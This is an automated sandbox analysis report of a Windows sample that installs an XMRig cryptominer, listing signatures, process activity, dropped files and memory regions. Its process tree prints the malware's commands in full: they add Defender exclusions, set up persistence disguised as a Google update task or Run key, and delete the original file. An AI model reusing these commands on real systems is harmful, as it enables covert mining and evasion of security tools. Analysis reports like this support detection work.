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Analysis

  • max time kernel
    483s
  • max time network
    1794s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1216
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2856
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1692
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        PID:640
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1900
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe qtdiqnkejoz
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:1460
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2252
    • C:\Windows\System32\choice.exe
      choice /C Y /N /D Y /T 3
      1⤵
        PID:2612
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        1⤵
          PID:2472
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {B6E0B4F2-957A-41B7-A555-F134E3C3D02A} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2216
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2860
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:1536

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 174KB
              • SHA256 ae5cb89e3e7e2686a036a136c6d24a6000b0f5126c33e6b2f659d45210383548
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 332KB
              • SHA256 6535c7670ea0ee28e9764d0524a965a15804d724b6d592f055e5d6a917e2c0dd
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 3a0c3364ef4df78904913c73db2d2c5297bd25418802deb2959222e69cbe3dff
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 37KB
              • SHA256 de60225b463a285de1abcf650dcb4b20e9cb2b2cd14d7b4d480a4d3602660348
              • MD5 SHA1 SHA512 SSDEEP

              memory/1460-78-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1460-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1708-0-0x000000013FE50000-0x0000000140061000-memory.dmp

              memory/1708-28-0x000000013FE50000-0x0000000140061000-memory.dmp

              memory/1916-59-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/1916-57-0x0000000001550000-0x00000000015D0000-memory.dmp

              memory/1916-54-0x0000000001550000-0x00000000015D0000-memory.dmp

              memory/1916-53-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/1916-56-0x0000000001550000-0x00000000015D0000-memory.dmp

              memory/1916-58-0x0000000001550000-0x00000000015D0000-memory.dmp

              memory/1916-55-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2252-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-131-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-129-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-127-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-125-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-123-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-121-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-119-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-117-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-79-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-77-0x0000000000800000-0x0000000000820000-memory.dmp

              memory/2252-76-0x00000000007E0000-0x0000000000800000-memory.dmp

              memory/2252-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-66-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2252-67-0x0000000000200000-0x0000000000220000-memory.dmp

              memory/2252-69-0x00000000007E0000-0x0000000000800000-memory.dmp

              memory/2252-70-0x0000000000800000-0x0000000000820000-memory.dmp

              memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2260-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

              memory/2260-8-0x0000000002800000-0x0000000002880000-memory.dmp

              memory/2260-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2260-11-0x0000000002800000-0x0000000002880000-memory.dmp

              memory/2260-10-0x0000000002800000-0x0000000002880000-memory.dmp

              memory/2260-6-0x0000000001D50000-0x0000000001D58000-memory.dmp

              memory/2260-9-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2260-12-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2488-51-0x000000000159B000-0x0000000001602000-memory.dmp

              memory/2488-48-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

              memory/2488-52-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

              memory/2488-46-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

              memory/2488-49-0x0000000001590000-0x0000000001610000-memory.dmp

              memory/2488-50-0x0000000001590000-0x0000000001610000-memory.dmp

              memory/2488-47-0x0000000001590000-0x0000000001610000-memory.dmp

              memory/2780-34-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2780-40-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2780-36-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

              memory/2780-38-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2780-39-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2780-35-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2780-37-0x0000000002850000-0x00000000028D0000-memory.dmp

              memory/2836-26-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

              memory/2836-18-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

              memory/2836-25-0x0000000002AF0000-0x0000000002B70000-memory.dmp

              memory/2836-20-0x0000000002AF0000-0x0000000002B70000-memory.dmp

              memory/2836-23-0x0000000002AF0000-0x0000000002B70000-memory.dmp

              memory/2836-22-0x0000000002AF0000-0x0000000002B70000-memory.dmp

              memory/2836-21-0x0000000002250000-0x0000000002258000-memory.dmp

              memory/2836-19-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

              memory/2836-24-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

              memory/2860-44-0x000000013F750000-0x000000013F961000-memory.dmp

              memory/2860-68-0x000000013F750000-0x000000013F961000-memory.dmp